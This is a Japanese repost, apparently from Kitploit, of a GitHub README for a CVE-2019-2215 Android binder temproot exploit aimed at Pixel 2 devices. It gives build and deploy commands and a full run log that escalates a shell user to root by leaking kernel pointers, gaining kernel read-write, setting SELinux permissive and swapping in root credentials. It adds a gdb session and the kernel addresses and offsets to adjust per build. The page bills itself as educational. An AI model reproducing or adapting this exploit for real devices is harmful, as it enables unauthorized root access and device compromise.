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CVE-2019-2215 — CVE-2019-2215 による Pixel 2 および Pixel 2 XL 用 Temproot | Kitploit
ツール/GitHubGitHub/byte-master-101/cve-2019-2215
Androidセキュリティ特権昇格エクスプロイトモバイルセキュリティ学習と教育バイナリエクスプロイト
GitHubbyte-master-101/cve-2019-2215

CVE-2019-2215

CVE-2019-2215 による Pixel 2 および Pixel 2 XL 用 Temproot

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CVE-2019-2215

免責事項: ここで提供されるコードは教育目的およびデモンストレーションのみを目的としています。このコード（またはその情報、ビルド、リポジトリ内の一切の情報）を違法または非倫理的な目的で使用するいかなる人物についても、私は支持せず、一切の責任を負いません。

クレジット

Google Project ZeroのJann Horn氏とMaddie Stone氏による概念実証に基づいています

このエクスプロイトを書くことを可能にしてくれたCloudFuzzのワークショップに特に感謝します

別の参考資料を提供してくれたkangtasticにも感謝します

使用法

エクスプロイトをビルドするには:

root@kitploit:~
NDK_ROOT=~/Android/Sdk/ndk/22.0.7026061 make

エクスプロイトをビルドして実行中のデバイス（Android Studioエミュレーター使用）にアップロードするには:

root@kitploit:~
NDK_ROOT=~/Android/Sdk/ndk/22.0.7026061 make build-exploit push-exploit

使用例:

root@kitploit:~
mohamed@mohamed-G5-5590:~/Desktop/android/CVE-2019-2215$ NDK_ROOT=~/Android/Sdk/ndk/22.0.7026061 make build-exploit push-exploit
Building: cve-2019-2215-exploit
Pushing: cve-2019-2215-exploit to /data/local/tmp
cve-2019-2215-exploit: 1 file pushed, 0 skipped. 480.0 MB/s (4891248 bytes in 0.010s)
File located in: /data/local/tmp/cve-2019-2215-exploit
mohamed@mohamed-G5-5590:~/Desktop/android/CVE-2019-2215$ adb shell
generic_x86_64:/ $ id                                   
uid=2000(shell) gid=2000(shell) groups=2000(shell),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid) context=u:r:shell:s0
generic_x86_64:/ $ /data/local/tmp/cve-2019-2215-exploit
[+] Allocating 4Gb aligned page...
    [+] Allocating page
    [+] Filling page with 'A's
    [+] Dummy page pointer: 0x100000000
[*] Page allocated successfully
[+] Leaking task_struct pointer...
    [+] Allocating binder and epoll file descriptors
    [+] Creating Pipe
    [+] Constructing IOVEC stack
    [+] Forking child process
    [+] Allocating and linking binder_thread structure
    [+] Freeing binder_thread structure
    [+] Reallocating binder_thread structure as IOVECs
    [+] CHILD Triggering unlink
    [+] CHILD Reading 65536 'A's from pipe
    [+] CHILD Exiting
    [+] Reading leaked task_struct pointer
    [+] Leaked task_struct pointer: 0xffff888010731b80
    [+] Closing binder and epoll file descriptors
    [+] Closing any file descriptors allocated by the function
[*] Leaked task_struct pointer successfully
[+] Getting arbitrary Read-Write permissions...
    [+] Allocating binder and epoll file descriptors
    [+] Creating socket
    [+] Writing junk data to socket
    [+] Constructing IOVEC stack
    [+] Crafting socket input data
    [+] Creating message header object
    [+] Forking child process
    [+] Allocating and linking binder_thread structure
    [+] Freeing binder_thread structure
    [+] Reallocating binder_thread structure as IOVECs
    [+] CHILD Triggering unlink
    [+] CHILD Reading 65536 'A's from pipe
    [+] CHILD Exiting
    [+] Verifying arbitrary R/W vector
    [+] Opening kernel R/W pipe
    [+] PID 7359 verified
    [+] Closing binder and epoll file descriptors
    [+] Closing any file descriptors allocated by the function
[*] Got arbitrary Read-Write permissions successfully
[+] Setting SELinux to permissive mode...
    [+] SELinux enforcing flag located at 0xffffffff816acfe8
    [+] SELinux enforcing flag already set to zero (permissive mode)
[*] Set SELinux to permissive mode successfully
[+] Updating kernel-space cred structure...
    [+] Copying nsproxy pointer from kernel-space
    [+] init_nsproxy structure address: 0xffffffff81433ac0
    [+] Kernel base address: 0xffffffff80200000
    [+] init_cred structure address: 0xffffffff81433c30
    [+] init_cred usage count: 0x2
    [+] Setting init_cred usage count to: 0x3
    [+] Setting task_struct credentials to init_cred
    [+] New process UID: 0
    [+] Closing kernel R/W pipe
[*] Updated kernel-space cred structure successfully

Exploitation Successful! Opening Privileged Shell...
generic_x86_64:/ # id
uid=0(root) gid=0(root) groups=0(root) context=u:r:kernel:s0
generic_x86_64:/ # exit

Exiting Privileged Shell...
generic_x86_64:/ $ exit
mohamed@mohamed-G5-5590:~/Desktop/android/CVE-2019-2215$

デバッグ

エクスプロイトをデバッグするには:

root@kitploit:~
gdb -quiet ./path/to/dist/vmlinux -x commands.gdb

gdbが接続されている状態でエクスプロイトを実行すると非常に不安定になるため、必要なときだけgdbを接続してください。デバッグセッションの例:

root@kitploit:~
mohamed@mohamed-G5-5590:~/Desktop/android/CVE-2019-2215$ gdb -quiet ../workshop/android-4.14-dev/out/relwithdebinfo/dist/vmlinux -x commands.gdb
Reading symbols from ../workshop/android-4.14-dev/out/relwithdebinfo/dist/vmlinux...
Note: running the exploit while gdb is connected makes it very unreliable, so only connect gdb when needed
warning: while parsing target description (at line 1): Could not load XML document "i386-64bit.xml"
warning: Could not load XML target description; ignoring
native_safe_halt ()
    at /home/mohamed/Desktop/android/workshop/android-4.14-dev/goldfish/arch/x86/include/asm/irqflags.h:61
61	}
^C
Program received signal SIGINT, Interrupt.
native_safe_halt ()
    at /home/mohamed/Desktop/android/workshop/android-4.14-dev/goldfish/arch/x86/include/asm/irqflags.h:61
61	}
Breakpoint 1 at 0xffffffff80823785: file /home/mohamed/Desktop/android/workshop/android-4.14-dev/goldfish/drivers/android/binder.c, line 4701.
Breakpoint 2 at 0xffffffff802aa69d: file /home/mohamed/Desktop/android/workshop/android-4.14-dev/goldfish/kernel/sched/wait.c, line 50.
Breakpoint 3 at 0xffffffff802aa6d5: file /home/mohamed/Desktop/android/workshop/android-4.14-dev/goldfish/kernel/sched/wait.c, line 53.

Breakpoint 1, binder_free_thread (thread=0xffff888011821000) at /home/mohamed/Desktop/android/workshop/android-4.14-dev/goldfish/drivers/android/binder.c:4701
4701		BUG_ON(!list_empty(&thread->todo));
0xffff888011821000:	0xffff888028f72400	0x0000000000000001
0xffff888011821010:	0x0000000000000000	0x0000000000000000
0xffff888011821020:	0xffff888011821020	0xffff888011821020
0xffff888011821030:	0x0000002000001a13	0x0000000000000001
0xffff888011821040:	0x0000000000000000	0xffff888011821048
0xffff888011821050:	0xffff888011821048	0x0000000000000000
0xffff888011821060:	0x0000000000000000	0x0000000000000000
0xffff888011821070:	0x0000000000000003	0x0000000000007201
0xffff888011821080:	0x0000000000000000	0x0000000000000000
0xffff888011821090:	0x0000000000000003	0x0000000000007201
0xffff8880118210a0:	0x0000000000000000	0xffff88806a848198
0xffff8880118210b0:	0xffff88806a848198	0x0000000000000000
0xffff8880118210c0:	0x0000000000000000	0x0000000000000000
0xffff8880118210d0:	0x0000000000000000	0x0000000000000000
0xffff8880118210e0:	0x0000000000000000	0x0000000000000000
0xffff8880118210f0:	0x0000000000000000	0x0000000000000000
0xffff888011821100:	0x0000000000000000	0x0000000000000000
0xffff888011821110:	0x0000000000000000	0x0000000000000000
0xffff888011821120:	0x0000000000000000	0x0000000000000000
0xffff888011821130:	0x0000000000000000	0x0000000000000000
0xffff888011821140:	0x0000000000000000	0x0000000000000000
0xffff888011821150:	0x0000000000000000	0x0000000000000000
0xffff888011821160:	0x0000000000000000	0x0000000000000000
0xffff888011821170:	0x0000000000000000	0x0000000000000000
0xffff888011821180:	0x0000000000000000	0x0000000000000001
0xffff888011821190:	0xffff88804fab3700

Breakpoint 2, remove_wait_queue (wq_head=0xffff8880118210a0, wq_entry=0xffff88806a848180) at /home/mohamed/Desktop/android/workshop/android-4.14-dev/goldfish/kernel/sched/wait.c:50
50		spin_lock_irqsave(&wq_head->lock, flags);
0xffff888011821000:	0x0000000000000000	0x0000000000000000
0xffff888011821010:	0x0000000000000000	0x0000000000000000
0xffff888011821020:	0x0000000000000000	0x0000000000000000
0xffff888011821030:	0x0000000000000000	0x0000000000000000
0xffff888011821040:	0x0000000000000000	0x0000000000000000
0xffff888011821050:	0x0000000000000000	0x0000000000000000
0xffff888011821060:	0x0000000000000000	0x0000000000000000
0xffff888011821070:	0x0000000000000000	0x0000000000000000
0xffff888011821080:	0x0000000000000000	0x0000000000000000
0xffff888011821090:	0x0000000000000000	0x0000000000000000
0xffff8880118210a0:	0x0000000100000000	0x0000000000010000
0xffff8880118210b0:	0x00000000deadbeef	0x0000000000010000
0xffff8880118210c0:	0x0000000000000000	0x0000000000000000
0xffff8880118210d0:	0x0000000000000000	0x0000000000000000
0xffff8880118210e0:	0x0000000000000000	0x0000000000000000
0xffff8880118210f0:	0x0000000000000000	0x0000000000000000
0xffff888011821100:	0x0000000000000000	0x0000000000000000
0xffff888011821110:	0x0000000000000000	0x0000000000000000
0xffff888011821120:	0x0000000000000000	0x0000000000000000
0xffff888011821130:	0x0000000000000000	0x0000000000000000
0xffff888011821140:	0x0000000000000000	0x0000000000000000
0xffff888011821150:	0x0000000000000000	0x0000000000000000
0xffff888011821160:	0x0000000000000000	0x0000000000000000
0xffff888011821170:	0x0000000000000000	0x0000000000000000
0xffff888011821180:	0x0000000000000000	0x0000000000000000
0xffff888011821190:	0xffff88804fab3700

Breakpoint 3, remove_wait_queue (wq_head=0xffff8880118210a0, wq_entry=0xffff88806a848180) at /home/mohamed/Desktop/android/workshop/android-4.14-dev/goldfish/kernel/sched/wait.c:53
53	}
0xffff888011821000:	0x0000000000000000	0x0000000000000000
0xffff888011821010:	0x0000000000000000	0x0000000000000000
0xffff888011821020:	0x0000000000000000	0x0000000000000000
0xffff888011821030:	0x0000000000000000	0x0000000000000000
0xffff888011821040:	0x0000000000000000	0x0000000000000000
0xffff888011821050:	0x0000000000000000	0x0000000000000000
0xffff888011821060:	0x0000000000000000	0x0000000000000000
0xffff888011821070:	0x0000000000000000	0x0000000000000000
0xffff888011821080:	0x0000000000000000	0x0000000000000000
0xffff888011821090:	0x0000000000000000	0x0000000000000000
0xffff8880118210a0:	0x0000000100000000	0xffff8880118210a8
0xffff8880118210b0:	0xffff8880118210a8	0x0000000000010000
0xffff8880118210c0:	0x0000000000000000	0x0000000000000000
0xffff8880118210d0:	0x0000000000000000	0x0000000000000000
0xffff8880118210e0:	0x0000000000000000	0x0000000000000000
0xffff8880118210f0:	0x0000000000000000	0x0000000000000000
0xffff888011821100:	0x0000000000000000	0x0000000000000000
0xffff888011821110:	0x0000000000000000	0x0000000000000000
0xffff888011821120:	0x0000000000000000	0x0000000000000000
0xffff888011821130:	0x0000000000000000	0x0000000000000000
0xffff888011821140:	0x0000000000000000	0x0000000000000000
0xffff888011821150:	0x0000000000000000	0x0000000000000000
0xffff888011821160:	0x0000000000000000	0x0000000000000000
0xffff888011821170:	0x0000000000000000	0x0000000000000000
0xffff888011821180:	0x0000000000000000	0x0000000000000000
0xffff888011821190:	0xffff88804fab3700

...

ビルドノート

exploit.h 内の一部の定数はビルド固有です。具体的には:

root@kitploit:~
// System.map
// ffffffff80200000 T _stext
// ffffffff81433ac0 D init_nsproxy
// ffffffff816acfe8 B selinux_enforcing
// ffffffff81433c30 D init_cred

#define KERNEL_BASE         0xffffffff80200000ul
#define INIT_NSPROXY        0xffffffff81433ac0ul
#define SELINUX_ENFORCING   0xffffffff816acfe8ul
#define INIT_CRED           0xffffffff81433c30ul

および

root@kitploit:~
// Variable offsets
// macro define offsetof(_type, _memb) ((long)(&((_type *)0)->_memb))
#define ADDR_LIMIT_OFFSET   0xa18ul // p /x (long)offsetof(struct task_struct, thread) + (long)offsetof(struct thread_struct, addr_limit)
#define PID_OFFSET          0x4e8ul // p /x offsetof(struct task_struct, pid)
#define NSPROXY_OFFSET      0x6c0ul // p /x offsetof(struct task_struct, nsproxy)
#define REAL_CRED_OFFSET    0x680ul // p /x offsetof(struct task_struct, real_cred)

最初の定数セットは対象ビルドの System.map ファイルから取得でき、2番目の定数セットはそれぞれの gdb コマンドを使用して計算できます。

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